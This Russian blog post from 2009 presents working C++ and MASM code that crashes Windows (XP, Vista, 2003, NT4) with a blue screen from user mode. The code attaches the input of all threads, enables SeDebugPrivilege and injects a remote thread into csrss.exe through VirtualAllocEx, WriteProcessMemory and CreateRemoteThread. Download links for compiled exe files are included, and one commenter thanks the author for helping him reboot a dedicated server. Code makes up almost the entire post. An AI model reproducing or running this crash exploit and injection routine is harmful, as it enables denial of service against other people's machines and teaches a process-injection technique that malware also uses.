Print This Post Как сделать BSOD из User-mode

Воскресенье, 17. Май 2009
Раздел: Assembler, автор:

Наткнулся на забавный исходник на одном китайском сайте, где показано, как можно сделать BSOD (Blue Screen of Death, синий экран смерти) в Windows из User-Mode (ring 3) без всякого Native API:

Код на c++:

#include <windows.h>
#include <Tlhelp32.h>
 
#pragma comment(lib,"user32.lib")
 
int main()
{
   HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
   THREADENTRY32 tBuffer={0};
   tBuffer.dwSize=sizeof(THREADENTRY32);
   if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Thread32First(SnapShotHandle,&tBuffer))
   {
       while (Thread32Next(SnapShotHandle,&tBuffer))
       {
           AttachThreadInput(tBuffer.th32ThreadID,GetCurrentThreadId(),TRUE);
       }
   }
   return 1;
}

Код на ассемблере (переписал с си++ для уменьшения размера, весит всего 1кб):

      .486
      .model flat, stdcall
      option casemap :none
      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\macros\macros.asm
 
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
 
 
.data?
SnapShotHandle HANDLE ?
tBuffer THREADENTRY32 <>
 
.code
start:
mov SnapShotHandle,FUNC(CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0)
mov tBuffer.dwSize,sizeof THREADENTRY32
 
invoke Thread32First,SnapShotHandle,offset tBuffer
 
.if SnapShotHandle!=INVALID_HANDLE_VALUE && eax
 
 
  again:
  invoke Thread32Next,SnapShotHandle,offset tBuffer
  .if eax!=0
    invoke AttachThreadInput,tBuffer.th32ThreadID,FUNC(GetCurrentThreadId),TRUE
    jmp again
  .endif
 
.endif
 
end start

Код проверен и работает на WinXP SP3 и Windows Vista SP1. На Windows 7 не работает, пофикшено, на XP SP2 тоже вроде бы не работает.

UPD: обнаружился код на c++, который способен вызвать BSOD на Win XP SP2, Win 2003 SP1 и Win NT SP4 (Discovered on 23.12.2004 by YuraN).

Этот код вызывает BSOD за счет внедрения своего потока в csrss.exe, который запускает MessageBox. Он также был переписан мной на ассемблере и объединен с первым. Вот полный текст кода (универсальный, объединенный с первым) для всех этих систем, кроме Windows 7:

      .486
      .model flat, stdcall
      option casemap :none
      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\macros\macros.asm
      include \masm32\include\advapi32.inc
 
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
      includelib \masm32\lib\advapi32.lib
 
ADDRS struct
    pMessageBox DWORD ?
    txt DWORD ?
ADDRS ends
 
.data
txt db "BSOD",0
 
.data?
s db 1024 dup(?)
EnumProcesses dd ?
EnumProcessModules dd ?
GetModuleBaseName dd ?
hinst HMODULE ?
addrs ADDRS <>
temp dd ?
SnapShotHandle HANDLE ?
tBuffer THREADENTRY32 <>
 
.code
start:
main PROC
  LOCAL psapi:HMODULE
 
  mov SnapShotHandle,FUNC(CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0)
  mov tBuffer.dwSize,sizeof THREADENTRY32
 
  invoke Thread32First,SnapShotHandle,offset tBuffer
 
  .if SnapShotHandle!=INVALID_HANDLE_VALUE && eax
 
 
again:
    invoke Thread32Next,SnapShotHandle,offset tBuffer
    .if eax!=0
      invoke AttachThreadInput,tBuffer.th32ThreadID,FUNC(GetCurrentThreadId),TRUE
      jmp again
    .endif
 
  .endif
 
  mov psapi,FUNC(LoadLibrary,chr$("psapi.dll"))
  mov EnumProcesses,FUNC(GetProcAddress,psapi,chr$("EnumProcesses"))
  mov EnumProcessModules,FUNC(GetProcAddress,psapi,chr$("EnumProcessModules"))
  mov GetModuleBaseName,FUNC(GetProcAddress,psapi,chr$("GetModuleBaseNameA"))
 
  call HideNT
  invoke Sleep,100
  invoke ExitProcess,0
  ret
main ENDP
 
HideNT PROC
    LOCAL hToken:HANDLE
    LOCAL tkp:TOKEN_PRIVILEGES
    LOCAL pe:DWORD
    LOCAL wb:DWORD
    LOCAL n:DWORD
    LOCAL pr [1024] :DWORD
    LOCAL cpid:DWORD
    LOCAL h:HANDLE
    LOCAL xmod:HMODULE
    LOCAL nmod:DWORD
    LOCAL hmem:DWORD
    LOCAL sizeIMG:DWORD
    LOCAL tid:DWORD
 
    invoke RtlFillMemory,addr tkp,sizeof tkp,0
 
    mov ebx,FUNC(GetCurrentProcess)
    invoke OpenProcessToken,ebx,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
 
    invoke LookupPrivilegeValue,0,chr$("SeDebugPrivilege"),addr tkp.Privileges[0].Luid
 
    mov tkp.PrivilegeCount,1
    mov tkp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
 
    invoke AdjustTokenPrivileges,hToken, FALSE, addr tkp, 0, 0, 0
 
    mov hinst,FUNC(GetModuleHandle,0)
 
    mov ebx, hinst
    assume ebx : ptr IMAGE_DOS_HEADER
    mov ebx, [ebx].e_lfanew
    add ebx,hinst
 
    assume ebx : ptr IMAGE_NT_HEADERS
    mov ebx,[ebx].OptionalHeader.SizeOfImage
    mov sizeIMG,ebx
 
    lea eax,n
    push eax
    push 1024
    lea eax,pr
    push eax
    call EnumProcesses
    shr n,2
 
 
 
    mov cpid,FUNC(GetCurrentProcessId)
    mov ecx,0
 
cycle:
    push ecx
 
    mov eax,pr[ecx*4]
 
    .if eax == cpid
      pop ecx
      inc ecx
      .if ecx!=n
        jmp cycle
      .else
        jmp endcycle
      .endif
    .endif
 
    mov h,FUNC(OpenProcess,PROCESS_ALL_ACCESS,0,pr[ecx*4])
    .if !h
      pop ecx
      inc ecx
      .if ecx!=n
        jmp cycle
      .else
        jmp endcycle
      .endif
    .endif
 
 
    lea eax,nmod
    push eax
    push 4
    lea eax,xmod
    push eax
    push h
    call EnumProcessModules
 
    push 1023
    push offset s
    push xmod
    push h
    call GetModuleBaseName
 
    invoke lstrcmpi,offset s,chr$("csrss.exe")
    .if eax
      invoke CloseHandle,h
 
      pop ecx
      inc ecx
      .if ecx!=n
        jmp cycle
      .else
        jmp endcycle
      .endif
    .endif
 
    mov hmem,FUNC(VirtualAllocEx,h,0,sizeIMG,MEM_RESERVE or MEM_COMMIT,PAGE_EXECUTE_READWRITE)
    .if !eax
      invoke CloseHandle,h
 
      pop ecx
      inc ecx
      .if ecx!=n
        jmp cycle
      .else
        jmp endcycle
      .endif
    .endif
 
 
    m2m addrs.txt,offset txt
    mov eax,hmem
    add addrs.txt,eax
    mov eax,hinst
    sub addrs.txt,eax
 
    mov addrs.pMessageBox,offset MessageBoxA
 
    invoke WriteProcessMemory,h,hmem,hinst,sizeIMG,addr wb
    .if !eax
      invoke CloseHandle,h
      invoke VirtualFreeEx,h,hmem,sizeIMG,MEM_DECOMMIT or MEM_RELEASE
      pop ecx
      inc ecx
      .if ecx!=n
        jmp cycle
      .else
        jmp endcycle
      .endif
    .endif
 
    mov eax,offset Hack
    add eax,hmem
    sub eax,hinst
    mov temp,eax
 
    mov eax,offset addrs
    add eax,hmem
    sub eax,hinst
 
    lea ebx,tid
 
    invoke CreateRemoteThread,h,0,0,temp,eax,0,ebx
    .if !eax
      invoke CloseHandle,h
      invoke VirtualFreeEx,h,hmem,sizeIMG,MEM_DECOMMIT or MEM_RELEASE
      pop ecx
      inc ecx
      .if ecx!=n
        jmp cycle
      .else
        jmp endcycle
      .endif
    .endif
 
      pop ecx
      inc ecx
      .if ecx!=n
        jmp cycle
      .endif
 
endcycle:
 
ret
HideNT ENDP
 
Hack PROC, a :ADDRS
  push 0
  lea eax,a.txt
  push eax
  lea eax,a.txt
  push eax
  push 0
  call a.pMessageBox
  ret
Hack ENDP
 
end main

Скачать пример 1 в exe можно тут: ZIP
Скачать универсальный пример в exe можно тут: ZIP

Также рекомендую почитать

 Обсудить на форуме


Получать обновления на почту:     

Метки: , , , , .

Комментариев: 3 к “Как сделать BSOD из User-mode”


  1. Kayavappen :

    Ааааа, в рот мне ноги!!

    [Ответить]


  2. WoOlfey :

    Ну привилегии отладки эт конечно уже жирновато для юзер мода)

    [Ответить]

  3. СПАСИБО!!! dx, ты мне ОЧЕНЬ помог! Никак не мог перзагрузить дедик :)

    [Ответить]


Оставьте ваш комментарий